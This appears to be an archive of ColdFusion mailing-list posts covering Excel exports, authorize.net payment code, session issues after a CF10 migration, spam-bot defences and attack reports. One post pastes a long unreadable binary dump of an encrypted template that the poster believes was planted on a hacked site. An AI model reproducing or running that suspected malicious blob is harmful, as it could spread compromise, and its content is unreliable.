Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Excel Problem...

2014-08-24 Thread Les Mizzell

 So what is the specific error? Is it in CF or Excel. If Excel are you getting 
 this message?

Excel actually opens. So, it's an Excel error. However, it just says 
There's an error with no further information. I *wish* it was the 
error below, because then I'd have something to go on.

 The file you are trying to open, '[filename]', is in a different format 
 than specified by the file extension. Verify that the file is not corrupted 
 and is from a trusted source before opening the file. Do you want to open the 
 file now?  (Yes | No | Help)

At this moment in time, upgrading the site in question to a new server 
isn't an option. I'll review the other options suggested though.

Thanks!
 If so there's a new security feature in Excel  According to this MSDN blog:
 http://blogs.msdn.com/b/vsofficedeveloper/archive/2008/03/11/excel-2007-extension-warning.aspx
 http://devblog.grinn.net/2008/06/file-you-are-trying-to-open-is-in.html
 http://stackoverflow.com/questions/940045/how-to-suppress-the-file-corrupt-warning-at-excel-download



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359186
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Excel Problem...

2014-08-20 Thread Les Mizzell

I've got an application running on CF8 that's been successfully 
generating Excel reports for a good amount of time.
Recently, the user upgraded Office (using 2013 now) - and now it no 
longer functions for them.

Pretty simple stuff:

cfsetting enablecfoutputonly=Yes
cfheader name=Content-Disposition value=inline; filename=report.xls
cfcontent type=application/vnd.ms-excelcfoutput
!--- table of crap goes here ---

... with cftry and things where needed to catch errors...

I don't use Excel on my machine, but the file opens perfectly for me in 
Open Office Calc - just as it has been for years.
For the user though - file is pushed to them as normal, Excel opens - 
and THEN you get a generic error (Something like Sorry, there's been an 
error) - which doesn't tell you anything...

Kinda at a loss. What am I missing? Is there some security setting 
inside Excel that's changed from one version to the next that needs 
tweaking, or what?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359171
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: ColdFusion / authorize.net question

2014-08-18 Thread Les Mizzell

On 8/18/2014 12:36 AM, Eric Bourland wrote:
 Has anyone here tried out the ColdFusion SIM* sample code from authorize.net? 
 I

A version of the below has been working great for me. I use it as a 
include on my form processing page that also records the appropriate 
data to the customers record in the database (NOT the credit card info! 
NEVER do this!)



!--- Get our Merchant Account User ID, Transaction Key and Amount ---
cfset x_login = xx
cfset x_tran_key=xx
cfset x_amount=#FORM.x_amount#

!--- Open a connection to Authorize.Net using CFHTTP ---

cfhttp url=https://secure.authorize.net/gateway/transact.dll; 
method=post

!--- Set the Merchant Information ---

   cfhttpparam type=formField name=x_login value=#x_login#
   cfhttpparam type=formField name=x_tran_key value=#x_tran_key#
   cfhttpparam type=formfield name=x_test_request value=false
   cfhttpparam type=formField name=x_version value=3.1

   cfhttpparam type=formField name=x_delim_data value=TRUE
   cfhttpparam type=formField name=x_delim_char value=|
   cfhttpparam type=formField name=x_relay_response value=FALSE

!--- Set the CUSTOMER INFORMATION ---
   cfhttpparam type=formfield name=x_cust_id value=-
   cfhttpparam type=formfield name=x_FirstName 
value=#form.x_FirstName#
   cfhttpparam type=formfield name=x_LastName 
value=#form.x_LastName#
   cfhttpparam type=formfield name=x_Company value=#form.x_Company#
   cfhttpparam type=formfield name=x_Address value=#form.x_Address#
   cfhttpparam type=formfield name=x_City value=#form.x_City#
   cfhttpparam type=formfield name=x_State value=#form.x_State#
   cfhttpparam type=formfield name=x_Zip value=#form.x_Zip#
   cfhttpparam type=formfield name=x_Country value=#form.X_Country#
   cfhttpparam type=formfield name=x_PhoneNumber 
value=#form.x_PhoneNumber#

!--- TRANSACTION INFORMATION FOR Credit Card ---
!--- I needed to send some extra data along, so it's all in the 
x_description field and I can parse it back out when/if needed ---
   cfhttpparam type=formField name=x_invoice_num 
value=#form.invoiceNUMBER#
   cfhttpparam type=formField name=x_description 
value=#form.policyNUMBER# - Invoice:#form.invoiceNUMBER# - 
#form.policyTYPE# - #form.x_Company#
   cfhttpparam type=formField name=x_amount value=#x_amount#
   cfhttpparam type=formField name=x_type value=AUTH_CAPTURE
   cfhttpparam type=formfield name=x_ship_to_company 
value=Premium: #form.initial_amount# Handling: #form.handler#
   cfhttpparam type=formField name=x_card_num 
value=#form.x_cardNumber#
   cfhttpparam type=formField name=x_exp_date 
value=#form.x_exp_date#
   cfhttpparam type=formField name=x_card_code 
value=#form.x_card_code# /

/cfhttp

!--- Get the Authorize.net response  ---

cfset AuthList = #cfhttp.FileContent#

!--- JUST FOR TESTING if needed cfdump var=#cfhttp.FileContent# 
expand=yes  ---

cfset request.responseCODE = #trim(listGetAt(AuthList, 1, |))#
cfset request.response = #trim(listGetAt(AuthList, 4, |))#
cfset request.transactionID = #trim(listGetAt(AuthList, 7, |))#
cfset request.invoiceNUM = #trim(listGetAt(AuthList, 8, |))#
cfset request.DESC = #trim(listGetAt(AuthList, 9, |))#

!---BLOCK BELOW WILL OUTPUT THE AUTHONET RESPONSE

pstrongResponse:/strong #request.response#br /
strongTransaction Id:/strong #request.transactionID#br /
strongInvoice Number:/strong #request.invoiceNUM#br /
strongDescription:/strong #request.DESC#/p

END RESPONSE CODE---

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:359127
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Insite Help on CF Hanging?

2014-07-23 Thread Les Mizzell

Had a site go down in the early morning hours the last two days - 
Coldfusion hangs -  requiring a restart to get it back up again.

Running CF 10 on Windows Server 2008 R2

1. No major errors in the log files.
2. Log files are set to relatively small size limits
3. Something seems to be eating a LOT of memory. Even at idle, CFServer 
is using almost half a gig memory
4. What's is Client Purge and why could this possibly hang CF ( this 
appears to have run approximately around the time of the outage) - and 
why now after over a year with zero outages?

That's about all I've got so far. Still researching
Any other things I should be looking at/for?

TIA


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:358984
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Insite Help on CF Hanging?

2014-07-23 Thread Les Mizzell

Just read that one again.
30 days? Approx 30 days ago the site was hit with a SQL Injection 
attack. Wasn't 2000+ attempts like some of the previous attacks, but 
still, a couple hundred hits in a 15 minute period or so.
Don't know if that means anything.


On 7/23/2014 10:03 AM, Mark A Kruger wrote:
 Tia,

 FYI - storing client vars in the registry and locking up during the purge is
 a fairly common trouble spot. I would not be surprised if that is your
 problem. It can show up after a while too - because the client vars
 persist for 30 days, so you can suddenly see problems 30 days after an
 increase in traffic as the system tries to remove a boatload of client vars.

 -Mark


 -Original Message-
 From: Les Mizzell [mailto:lesm...@bellsouth.net]
 Sent: Wednesday, July 23, 2014 8:52 AM
 To: cf-talk
 Subject: Insite Help on CF Hanging?


 Had a site go down in the early morning hours the last two days -
 Coldfusion hangs -  requiring a restart to get it back up again.

 Running CF 10 on Windows Server 2008 R2

 1. No major errors in the log files.
 2. Log files are set to relatively small size limits
 3. Something seems to be eating a LOT of memory. Even at idle, CFServer
 is using almost half a gig memory
 4. What's is Client Purge and why could this possibly hang CF ( this
 appears to have run approximately around the time of the outage) - and
 why now after over a year with zero outages?

 That's about all I've got so far. Still researching
 Any other things I should be looking at/for?

 TIA




 

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:358991
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Excel Problem...

2014-07-21 Thread Les Mizzell

I've got an app that's been generating Excel without any problems for a 
number of years (pre cfspreadsheet tags)
Hosting recently migrated the site to a new server, and suddenly the 
client can no longer open the Excel files on their end.

They're using Excel 2010, and have been before the problem started.

On my end, I use Open Office. The Excel generator works great for me - 
files open exactly as they should in the spreadsheet program.
On my client's end, the file is generated without error, Excel opens, 
then THEN they get An error has occurred while executing the 
application... inside of Excel

For headers, I'm using:
cfheader name=Content-Disposition value=inline; filename=report.xls
cfcontent type=application/vnd.ms-excel

Rest of the file is a standard table with no formatting.

Ideas?

TIA...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:358936
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Spam management for forms handling

2014-04-17 Thread Les Mizzell

  Some of the forms we use CF to email out are getting hit
  with spam garbage. I'm seeing patterns in them I can use
  to catch it now, but wondered if there is a more general
  approach available I'm not aware of? Thanks much!

I've had very good luck with a simple math (or other) question, plus a 
timer that that checks how long it takes to fill out the form. The 
combo of the two work pretty good.

The timer sets a hidden field to the current time, and on submit, checks 
against the current time again. There's no freaking way to fill out this 
particular form in less than 10 seconds - so if less time than that has 
passed, it's a bot. This alone catches 95%.

Question works good too. I've got one client that uses: Donald Duck is 
a Cow, Dog, Duck, or Cat?? Over the last 4 years, not a single 
bot has EVER answered the question correctly.

Of course, all your data HAS to be validated/verified before getting 
inserted into your database. You're doing that too, correct?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:358352
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: The long tail of ColdFusion fail

2014-03-17 Thread Les Mizzell

   Most new clients see CF as old and outdated technology with no future...


I recently lost a client because the sales folks from that approached 
them told them Your site is using an ancient language called 
'Coldfusion' that nobody is supporting any more, and it's /*KILLING YOUR 
SEARCH RESULTS*/!

The site used friendly urls, so the cfm extension wasn't visible to 
start with. WTF??

No amount of discussion/demonstration from my end could convince them 
that Google wasn't ranking them lower because they were using an 
obsolete language. I finally gave up and let them go.

As a freelancer, the number of Coldfusion jobs (in my area anyway) seem 
to be shrinking. I can find almost all the PHP work I want though. Just 
don't have the stomach for .net, so I'll stick with PHP for now.


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357985
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: CF session management suddenly not sticking ...

2014-03-07 Thread Les Mizzell

  The best solution, in my opinion, is to switch to J2EE sessions,
  assuming you can invest the time and effort to do that.

I'm having almost the exact same problem. My login system, had been 
working perfectly (CF8) until we moved everything to a new server with 
CF10 on it.

Now, Chrome will log you out as fast as you can log in.
The only exception is if I set - addtoken=yes to the URLs. The second 
it hits a URL without the token, you're out. Not good.


cfapplication name=SiteADMIN
   clientmanagement=yes
   sessionmanagement=yes
   setdomaincookies=yes
   sessiontimeout=#CreateTimeSpan(0,8,00,0)#
   applicationtimeout=#CreateTimeSpan(0,8,00,0)#
   clientstorage=cookie 

!--- Define that this user is logged out by default ---
CFPARAM NAME=session.isADMIN DEFAULT=false

!--- Define this user id to zero by default  ---
CFPARAM NAME=session.thisUSER DEFAULT=0


So considering the above - what, in theory, would be the exact 
consequences in switching to J2EE sessions? I don't this there would be 
that much code that would need to be changed. I'm simply checking that 
session.isADMIN is true in my application file.  I admittedly don't have 
a super-technical understanding of exactly how things have changed 
between CF8 and CF10.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357881
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Moving from CF8 tp CF10 - Session Issues

2014-02-20 Thread Les Mizzell

Got a site currently running on CF8 that we're migrating to a completely 
new server with a fresh CF10 install. There's an informal members only 
section with user/pass login that we're having trouble with. No code 
changes - no problems on the CF8 server.

But, in various browsers, it seems the logged-in session var isn't 
holding and the second you log in, it just kicks you back out.
CF8 version - all browsers stay logged in with no problems.
CF10 version - Chrome kicks you right back out. IE works great (??)

So ... pretty simple stuff. If the username/pass matches:

cfif qVerify.RecordCount
 !--- This user has logged in correctly, change the value of the 
session.allowin value ---
 cfset session.allowin = True /
 cfset session.user_id = qVerify.uniqID /
/cfif

... and there you go..

Application file settings:

cfapplication name=MyMemberSection
   clientmanagement=yes
   sessionmanagement=yes
   setclientcookies=yes
   setdomaincookies=yes
   sessiontimeout=#CreateTimeSpan(0,8,00,0)#
   applicationtimeout=#CreateTimeSpan(0,8,00,0)#
   clientstorage=cookie 


So the question is - what's different between CF8 and CF10 that I need 
to be looking for? I'm not even sure where to start looking at the 
moment. Ideas? Tearing my hair out so far.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357720
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Moving from CF8 tp CF10 - Session Issues

2014-02-20 Thread Les Mizzell

On 2/20/2014 8:22 PM, Byron Mann wrote:
 Try using setdomaincookie=yes only instead of both. I seem to remember
 something like this going from 8 to 9.

Done - didn't fix it


 Any redirects after the login? Like going from httpto https? Or from
 domain.com to secure.domain.com?

Hmm ... OK, originally I had:
cflocation url=idx_nav.cfm addtoken=no /

Changed it to:
cflocation url=idx_nav.cfm addtoken=yes /

NOW it seems to be working. So, what's the diff between CF8 and CF10 
where this would be the diff?

Thanks in advance...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:357723
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Hack Attempt on our database last night

2013-07-23 Thread Les Mizzell

On 7/23/2013 12:51 AM, Justin Scott wrote:
 Which brings up another security question.  How does other sites
 handle something like this automatically?  I mean, if I see an
 attack from an IP address, is it even worth blocking at the firewall?

I had an interesting attack yesterday ...

A bot hit a payment form on a site. It entered*legit* information in all 
the blanks, so it passed both client and server side validation.
What it did - in a very short period of time - submitted over 750 
separate credit card numbers, all for small but odd amounts, usually 
under $2.00.
Best guess - it had a list of stolen numbers and was looking for good 
ones it could use elsewhere.

Only way I could find to stop this was to measure the amount of time 
between submissions - around 4 seconds each - and add a script to the 
form that would not allow it to be submitted if it took less than a 
certain amount of time to filling it out. Fastest I could do it, even 
with browser prefill, was around 30 seconds, so I set the timer at 20. 
Attack immediately stopped.

Client originally requested this form be in an anybody can access 
section of the site, which I protested. Got an idea I can get them to 
change their mind when I contact them about it later today.

Bots and methods used are getting more and more interesting all the 
time. The increasing cleverness of some of this stuff keeps me on my toes.



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:356282
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Adobe no longer supports ColdFusion??? Really?

2013-06-18 Thread Les Mizzell

On 6/18/2013 9:31 PM, Mike K wrote:

 Again, I might be wrong here, but if you make ColdFusion
 sites, Dreamweaver CC is impossible to use

Not impossible. But Adobe, for one reason or another, has made it dificult...

Do this:

1. Go to preferences
2. In the choose external applications section, hit the + and enter .cfm. 
In the editor window, select your Dreamweaver app and make it the primary 
editor.

Done

Note: if you enter .cfm in the Open in Code View list, you will ONLY be 
able to open CF pages in code view. Probably not what you want.

They really need to just add a checkbox to choose Coldfusion if you want. 
Shouldn't have to jump through the hoops above.
Write them a letter and bitch about it...



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:356004
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


To Edit Coldfusion Files in Dreamweaver CC, DO THIS

2013-06-18 Thread Les Mizzell

Already posted this - but there seems to be a lot of confused folks (me 
too), so thought it needed a new topic

In Dreamweaver CC:

1. Go to preferences
2. In the choose external applications section, hit the + and enter 
.cfm.
3.  In the editor window, select your Dreamweaver app and make it the 
primary editor.

Done and works just like before. I know - I've been using it all day.

*Note*: if you enter .cfm in the Open in Code View list, you will  
be able to open CF pages in *ONLY* code view. Probably not what you 
want. So don't do that!

Adobe really needs to just add a checkbox to choose Coldfusion if you 
want. Shouldn't have to jump through the hoops above. Write them a 
letter and bitch about it. I did.


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:356005
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Zero budget, student-friendly CF/HTML/CSS editor?

2013-04-11 Thread Les Mizzell

  Adobe should open source homesite

This! 10+

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:355383
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Problem with Hackers on Donation form through Authorize.net

2013-02-17 Thread Les Mizzell

  Anyone else seeing a lot of form submissions with -1 or 1 as the name?

Yup - I get that sometimes.

Or, an attempt to enter the same web or email address entered into EVERY 
field.

 and I'm still getting weird *something* errors sent to me from a 
site that look like:

mypate.cfm?action=whateverResult:+no+post+sending+forms+are+found;

What the heck is that?

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354557
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Problem with Hackers on Donation form through Authorize.net

2013-02-11 Thread Les Mizzell

One site of mine for a dance company used to get a ton of spam through 
contact forms. Everybody hated CAPTCHA, so I put a simple question with 
radio button choices:

A cow goes?
a. quack
b. woof
c. moo
d. chirp

VERY low tech, but believe it or not, we've not gotten a single piece of 
bot spam since!

Wouldn't advise this for most uses though...

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354465
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: New Round of Exploits going on

2013-02-10 Thread Les Mizzell

I just got the below on a site. Not sure how to decrypt to tell exactly 
what it's doing though.
Client noticed that Google had flagged the site as 'comprimised.

I'm pointing my finger at the hosting company - they've got a security 
issue if this can happen, correct?

So, anybody know what this is doing?

-

Allaire Cold Fusion Template
Header Size: New 
Version@ؤlº²BÊulYLöŠhqؤä8X°ɿÌò©‰P^qvßNÊ҇ùFÍû'ÉÊՔ¯Èe
ÜØúÄá”û!Çp$s㨒ôû”\v‰ùeÐ×åRV/е ú{ 
/ý‡èó^t¼ɮ?žÝtnŠö”³zñ¤î:XÌ֙Ó(ËÕÂ~)ۣ·Œ*‹ 
ì€ 
·mîQPêlœ­wré(²-ì˜~s ‡#ó(B]±nwÃí¸•a TGm­æalW][÷* 
Iû(þºú¢ہ@”‰Íþk äF±‰î®l‘XFLõR±, 
҂…¹ԁ(]{šÁK~9î®l‘XFLõR±, ˜éâ¡[V8cü_èQK^ 
¦[AêÝ׻áº8'¹ïVŒcKWÅéÁÖU€hL½
.øá¡R¾ÒWxþ™öî®l‘XFLõR±, ˜TXÉÅ8Öëx«Ç=! 
䱞Wܳ§›YªØå«#}yµ'X› 
X·šæNåVÆͼ¿%V#‚6ŸÂ7Ì 
OÊ)€æ*#pPOëPpŒžWܳ§›YªØåÅO“TFÀe„› X·ð
ëo2]ƒͼ¿%V#‚6ŸÂ7Ì 
‡áqtÙu!qö¬òˆ:Ã'H—Nî®l‘XFLõR±, 
ʍƬ³š,’8rR+áœ;¦fTm{$5fIHpOÕÏ-K©o+ÏE$f*훆œv™ÔB¥¦fTm{$5fIHpOÕ@¥ÉϚ~y`lÆjÃ0z\¸ÿꬃ©ô³¥pEߵÒ/HÊÝS¸¿-ؕ3úœ¼äU³ÐÁ׻áº8'¹ïVŒcKWN¡sdDg‘ÑùAjƒ¥×y³Õ¿°Ó{Kî®l‘XFLõR±,
 
•ñ*Þr„?ݮ—Év¬ì‘Íg¡$Â9„î®l‘XFLõR±, 
:6ôԸTœ¼}ÝbG¦`ðî¦fTm{$5fIHpOÕ8`Ӆº2Öяÿ¬@àÎ}V|̽…
\¸ÿꬃ©ô³¥pEߵÒ/ŊԽæCϯ£’jKNö׻áº8'¹ïVŒcKWì¾ïNüÏ1¨--£s©sK‹ðåW׻áº8'¹ïVŒcKWá?‹ÍÍ›
 
X·TôÒ^©ª»`ͼ¿%V#‚6ŸÂ7Ì Â}£d
½¬p!²E¤ñߴdŠ`'8OYgՊ=â/n׻áº8'¹ïVŒcKWRÏ¥t‘‘› 
X·fJc—lþ¸fͼ¿%V#‚6ŸÂ7Ì ‡ը
R,`Î޷M^Rœ¯ê}Oæ‘Ìͼ¿%V#‚6ŸÂ7Ì 
Íi7pԳ´¯ˆš¢ÿ*\¸ÿꬃ©ô³¥pEߵÒ/ðu§½(OÍ祹Í3 
ÕpÓÜæ7\¸ÿꬃ©ô³¥pEߵÒ/gQ 
ú÷缋ýquv6TžWܳ§›YªØåY~’›¡Xm»¸ã4ÿöèyoy@QvUcS`׻áº8'¹ïVŒcKWg“SáÑÓ›
 
X·Dü¥Ñíöͼ¿%V#‚6ŸÂ7Ì 
•#âvû±‰â8³GԞWܳ§›YªØåY~’›¡Xm»ʍƬ³š,}B½à
s­¦fTm{$5fIHpOÕddÜ 
šµ'×l—˜ҽrm[,
Ìå;ò:WÄçåöbyœ©E 
¦¨Y!Æ#šÅ
YsK˜ُ;/׻áº8'¹ïVŒcKWŠˆyó±ý•:5IY4)ÄAý!x²Í׻áº8'¹ïVŒcKWCrFõîZ½›
 
X·òØ⟬Mͼ¿%V#‚6ŸÂ7Ì 
šð×÷¥ºBú÷ƒj±­׻áº8'¹ïVŒcKWå}°mb¿› 
X·ï3Êõ$´ÛÎͼ¿%V#‚6ŸÂ7Ì Íeh' wðô޲©é;gZCE
¸£whpî®l‘XFLõR±, 8;Îù]¾¿¼0î$èìWÄçåöbyœ©E 
¦¨Y¢p$¸XëÄn
ŒÑng»‚·N0ì\¸ÿꬃ©ô³¥pEߵÒ/´—ýùßÄYD¦ŠŸš°žWܳ§›YªØåc×S¶‹HI-—Œ0uü˜ÒKþÝÍR‘•B‡ÑÄc‹)¦ͼ¿%V#‚6ŸÂ7Ì
 
«.Z–éÝ/ƒœ_N.G…
|J\¸ÿꬃ©ô³¥pEߵÒ/_]\Õù–öçOÖԉù¼DZ¡œBé0¦fTm{$5fIHpOՅ
ãDøS‹4C¬Û2£3†.­æalW][÷* 
ó–2¢žôà€X¨Ĝ—UNM±…§é¥÷–׻áº8'¹ïVŒcKWZ¸;å´ü› 
X·;ËQ|dKͼ¿%V#‚6ŸÂ7Ì 
¤PÖ¯©õÞS5ñÞBœ£P1²¿”žWܳ§›YªØåc×S¶‹HIxœ)«%Pý²v1°×á¦fTm{$5fIHpOդaÏQz]¬[ç@ºÐìéfæ›.DÁgä/WÄçåöbyœ©EÂ
 
¦¨Yn.—‹ÉrHýSámí.Z׻áº8'¹ïVŒcKW»Ê.Hú®c:5IY4)Ä4Çݪ'H—Nî®l‘XFLõR±,
 
¥ã‰J¥3Š±‹ŽTEWÄçåöbyœ©E 
¦¨YºùÞØÅ
ԩÈ[ÑîX¢EáYeÆlúîïlžWܳ§›YªØåc×S¶‹HI{±ñévø›9}¦
 _¦fTm{$5fIHpOÕn˜aîó(Wœ†+úÞ 

¥N—Î\#ÆWÄçåöbyœ©E 
¦¨Y)‚ÂO—ÇpÔ)æÞÆØ׻áº8'¹ïVŒcKWôåßAãåÑ:5IY4)ÄßJ֔¥ô׻áº8'¹ïVŒcKWõºþðA\õ›
 
X·Ë!þFs¸!eͼ¿%V#‚6ŸÂ7Ì 
þﱕþw0wQЀQ”wGݑeSyǓð¯¦fTm{$5fIHpOբSÄò 
¤qòðë–1ˆxO…­æalW][÷* 
9®Fó“BWQɄl0ʏËÎvñ™óÒ\¸ÿꬃ©ô³¥pEߵÒ/
WHšq˜²¦¹ÿÀomÀòžWܳ§›YªØå«#}yµ'X˜éâ¡[V8cÊ 
I¼ŠL“dӽóývö­æalW][÷* 0–I
™ñ}_p6R¯

]Ðî®l‘XFLõR±, Zq٭ZTgW¥åø[\…f´qêWÄçåöbyœ©E 
¦¨Y0‰
Fã‘4÷ÉzèԶA¢׻áº8'¹ïVŒcKW4ðGTê¤+·:5IY4)ÄHmûŠ=Oќ±ì{E
 
Ü2ͼ¿%V#‚6ŸÂ7Ì 
~×ëБ´^'×\¸ÿꬃ©ô³¥pEߵÒ/‡¼tmAZmgäi£Ãm6lü“ƒ­æalW][÷*
 
b²?ÉÚ r;ñ}_ÒÊ6wÝuÎdî®l‘XFLõR±, 
ûýz†.œi­½$þ—*j9 
'‚¨žWܳ§›YªØå«#}yµ'XΞQ¿(վ÷—åئfTm{$5fIHpOÕÑjr$¿ßÓÀûI£ä£G
 
ër’‚}Û+DžWܳ§›YªØå«#}yµ'X{±ñévøTùdv§òi˜¦fTm{$5fIHpOÕØî¯Tȯûk.1
 
L½ð¹žWܳ§›YªØå«#}yµ'X:6ôԸTœ¼/*²-¦fTm{$5fIHpO՝²;É70yÎ\^«år‘ƒr2þOTWÄçåöbyœ©EÂ
 
¦¨Y5 w–Ëٞ
ÒóìyÞU2׻áº8'¹ïVŒcKWýº²´ˆ…
?:5IY4)ă^(·:;h­æalW][÷* ­E3 
)¨hkeF²Ód™1OOåò î®l‘XFLõR±, ™YòŽÇ[cÖ 
ûäé‘ÿ¿C|ÑÕq­æalW][÷* À(Êõ#|Q
»s7EH”èyvà²Üaî®l‘XFLõR±, 

Re: New Round of Exploits going on

2013-02-10 Thread Les Mizzell

  Still I am not sure how they are uploading these files
  as there is nothing in the logs that indicates this.

For mine in the previous message, the altered file still had the 
ORIGINAL creation date on it - 2011 something - although it was altered 
last week. So, a search of all the site files for anything recently 
altered showed nothing.

~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:354446
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Query of Query problem: Merging and sorting two query results

2013-01-29 Thread Les Mizzell

I have two separate queries, basically a table of NEW stuff, and then a 
table of OLD stuff that's not been converted to new yet. Not all fields 
in the two tables match.

So, first query finds all the matching NEW things
Second query finds all the OLD things that aren't present in the NEW 
things query.

Works so far and both queries output what I'm expecting.

Now, I need to MERGE the results of both, and sort them by a common field.

Below will NOT work, because there's a different number of columns/blah 
being returned:

cfquery name=results dbType=query
*SELECT*
   first_name,
   last_name,
   off1_name,
   off2_name,
   off3_name,
   atty_id,
   email
   FROM newstuff
   UNION
   SELECT
   first_name,
   last_name,
   office_name,
   atty_id,
   email
  FROM oldstuff
  ORDER BY last_name
/cfquery

Generates this error:
*Query Of Queries runtime error.*
All queries in an SQL SELECT statement that contains a UNION operator 
must have an equal number of expressions in their result list.

Is there a way around this?


~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology/dp/1430272155/?tag=houseoffusion
Archive: 
